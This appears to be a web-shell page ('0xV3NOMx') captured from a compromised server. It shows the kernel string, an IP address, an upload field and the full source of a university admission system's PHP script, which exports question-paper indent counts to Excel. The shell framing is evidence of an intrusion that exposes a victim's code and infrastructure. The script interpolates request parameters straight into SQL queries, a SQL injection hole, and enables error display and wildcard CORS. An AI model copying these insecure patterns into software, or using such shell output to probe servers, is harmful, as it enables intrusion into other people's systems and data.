0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.188.114.150


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/qpcrosscheck.php

<?php
ini_set('max_execution_time', 300);
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
//$pdf_writer_class =$main_src."/tarka_pdf/fpdf.php";
$pdf_writer_class = $main_src . "/tcpdf/tcpdf.php";
require_once($pdf_writer_class);
ini_set('memory_limit', '2G');
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
date_default_timezone_set('GMT+5:30');
// PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT);
if (PHP_SAPI == 'cli')
    die('This example should only be run from a Web Browser');

/** Include PHPExcel */
require_once($pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php');

class QPIndentReport
{
function DefaultConstructor($aobj_context, $Deggrp, $reportType)
    {
        $this->aobj_context = $aobj_context;
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

        $this->ip = $_SERVER["REMOTE_ADDR"];
        $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date";
        $obj = $this->aobj_context->mobj_db->GetRow($get_date);


        $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
		FUNIVADD1 as 'state', pdf_logo_path,
		ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

        $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name);

        $query = "select * from deggrp where fdeggrp = '{$Deggrp}'";
        $results = $this->aobj_context->pobj_db->GetRow($query);
        $aobj_context->fexamdate = $results['fexamdate'];

        $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
        $aobj_context->s_state = $lobj_get_coll_name['state'];
        $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
        $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];
        
    }
}

function QPIndentCrosscheck($aobj_context)
{

    $univcode = $aobj_context->mobj_data["univcode"];
    $deggrp = $aobj_context->mobj_data["dgp"];
    $reportType = $aobj_context->mobj_data["rt"];
    $reportFormat = $aobj_context->mobj_data["rf"];
    $examrange = $aobj_context->mobj_data["examrange"];
    
    $examnoStr = strtoupper($examrange);
    $splitexamno = str_split($examnoStr);

    $examno = implode("','", $splitexamno);

    // var_dump($deggrp,$reportType,$resetData,$reportFormat);
    header("Access-Control-Allow-Origin: *");
    header('Content-Type: application/json');
    header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS");
    header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");


    $class_obj = new QPIndentReport();
    $class_obj->univcode = $univcode;
    $class_obj->reportType = $reportType;

    $class_obj->DefaultConstructor($aobj_context, $deggrp, $reportType);

    

        

    

        $query = "select ifnull(fcntrcode,'') as fcntrcode,
        ifnull(fcntrname,'') as fcntrname,
        ifnull(fqpcode,'') as fqpcode,
        ifnull(fsubname,'') as fsubname,
        ifnull(date_format(fdoe,'%d/%m/%Y'),'') as fdoe,
        ifnull(fsession,'') as fsession,
        ifnull(fcnt,'') as fcnt,
        ifnull(fextra,'') as fextra,
        ifnull(ftotal,'') as ftotal,
        ifnull(frounded,'') as frounded,
        ifnull(fdegree,'') as fdegree
        from tmpqpindsum;";
        $result = $aobj_context->pobj_db->GetAll($query);
        // var_dump($result);
        // die();
        
                writedoeReport($result, $aobj_context);
         
         
}


function writedoeReport($result, $aobj_context)
{

    $objPHPExcel = new PHPExcel();
    $fileName = 'QPIndentCrosscheck';

    // Set document properties
    $objPHPExcel->getProperties()->setCreator("Me")->setLastModifiedBy("Me")->setTitle("My Excel Sheet")->setSubject("My Excel Sheet")->setDescription("Excel Sheet")->setKeywords("Excel Sheet")->setCategory("Me");

    // Set active sheet index to the first sheet, so Excel opens this as the first sheet
    $objPHPExcel->setActiveSheetIndex(0);

    // Add column headers and make them bold
    $styleArray = array(
        'borders' => array(
            'allborders' => array(
                'style' => PHPExcel_Style_Border::BORDER_THIN,
                'color' => array('argb' => '000000'),
            ),
        ),
    );

    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true);
    $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12);
    $objPHPExcel->getActiveSheet()->freezePane('A2');
    $objPHPExcel->getActiveSheet()
        ->setCellValue('A1', 'Sl. No.')
        ->setCellValue('B1', 'Center Code')
        ->setCellValue('C1', 'Center Name')
        ->setCellValue('D1', 'QP Code')
        ->setCellValue('E1', 'Subject Name')
        ->setCellValue('F1', 'Exam Date')
        ->setCellValue('G1', 'Session')
        ->setCellValue('H1', 'Count')
        ->setCellValue('I1', 'Total ')
        ->setCellValue('J1', 'Extra')
        ->setCellValue('K1', 'Rounded')
        ->setCellValue('L1', 'Degree');
    $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->applyFromArray($styleArray);
    $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(30);
    $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getAlignment()->setWrapText(true);
    $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
    $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);

    //Put each record in a new cell
    foreach ($result as $key => $value) {
        $slNo = $key + 2;

        $objPHPExcel->getActiveSheet()->setCellValue('A' . $slNo, $slNo - 1)->getColumnDimension('A')->setwidth(5);
        $objPHPExcel->getActiveSheet()->setCellValue('B' . $slNo, $value['fcntrcode'])->getColumnDimension('B')->setwidth(12.29);
        $objPHPExcel->getActiveSheet()->setCellValue('C' . $slNo, $value['fcntrname'])->getColumnDimension('C')->setwidth(34);
        $objPHPExcel->getActiveSheet()->setCellValue('D' . $slNo, $value['fqpcode'])->getColumnDimension('D')->setwidth(9);
        $objPHPExcel->getActiveSheet()->setCellVAlue('E' . $slNo, $value['fsubname'])->getColumnDimension('E')->setwidth(34);
        $objPHPExcel->getActiveSheet()->setCellValue('F' . $slNo, $value['fdoe'])->getColumnDimension('F')->setwidth(15);
        $objPHPExcel->getActiveSheet()->setCellValue('G' . $slNo, $value['fsession'])->getColumnDimension('G')->setwidth(9);
        $objPHPExcel->getActiveSheet()->setCellValue('H' . $slNo, $value['fcnt'])->getColumnDimension('H')->setwidth(8.43);
        $objPHPExcel->getActiveSheet()->setCellValue('I' . $slNo, $value['ftotal'])->getColumnDimension('I')->setwidth(9);
        $objPHPExcel->getActiveSheet()->setCellValue('J' . $slNo, $value['fextra'])->getColumnDimension('J')->setwidth(9);
        $objPHPExcel->getActiveSheet()->setCellValue('K' . $slNo, $value['frounded'])->getColumnDimension('K')->setwidth(9);
        $objPHPExcel->getActiveSheet()->setCellValue('L' . $slNo, $value['fdegree'])->getColumnDimension('L')->setwidth(20);

        $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':L' . $slNo)->applyFromArray($styleArray);
        $objPHPExcel->getActiveSheet()->getRowDimension($slNo)->setRowHeight(35);
        $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('D' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('B' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('G' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        // $objPHPExcel->getActiveSheet()->getStyle('C' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('F' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('H' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('I' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('J' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('K' . $slNo)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);

        $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':L' . $slNo)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);
        $objPHPExcel->getActiveSheet()->getStyle('A' . $slNo . ':L' . $slNo)->getAlignment()->setWrapText(true);
    }

    // Set worksheet title and orientation
    $objPHPExcel->getActiveSheet()->setTitle($fileName);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);
    // $objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);
    $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
    FUNIVADD1 as 'state', pdf_logo_path,
    ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";

    $lobj_get_coll_name = $aobj_context->pobj_db->GetRow($get_coll_name);

    // $aobj_context->FUNIVNAME=$lobj_get_coll_name['FUNIVNAME'];
    // $aobj_context->s_state=$lobj_get_coll_name['state'];
    // $aobj_context->pdf_logo_path=$lobj_get_coll_name['pdf_logo_path'];
    // $aobj_context->FUNIVCODE=$lobj_get_coll_name['FUNIVCODE']; 

    $deggrp = $aobj_context->mobj_data["dgp"];

    $query = "select distinct concat(fexamdate,' ',' Examination') as fexamdate 
    from deggrp where fdeggrp = '{$deggrp}'";
    $results = $aobj_context->pobj_db->GetRow($query);

    $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
    $aobj_context->s_state = $lobj_get_coll_name['state'];
    $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
    $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];

    $deggrp = $aobj_context->mobj_data["dgp"] . ' - ' . $results['fexamdate'];

    $reportType = $aobj_context->mobj_data["rt"];

    $reportType = $aobj_context->mobj_data["rt"];

    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME . "\n" . '&12' . $reportType . ' - ' . $deggrp);
    // $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&C&H'.$reportType.' - '.$deggrp);

    $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N');

    getheaders($objPHPExcel, $fileName);
}


function getheaders($objPHPExcel, $fileName)
{

    //To Fit To Page while printing
    $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
    $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);

    // Redirect output to a client’s web browser (Excel5)
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename="' . $fileName . '.xls"');
    header('Cache-Control: max-age=0');
    // If you're serving to IE 9, then the following may be needed
    header('Cache-Control: max-age=1');

    // If you're serving to IE over SSL, then the following may be needed
    header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
    header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
    header('Pragma: public'); // HTTP/1.0
    ob_clean();
    $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
    $objWriter->save('php://output');
}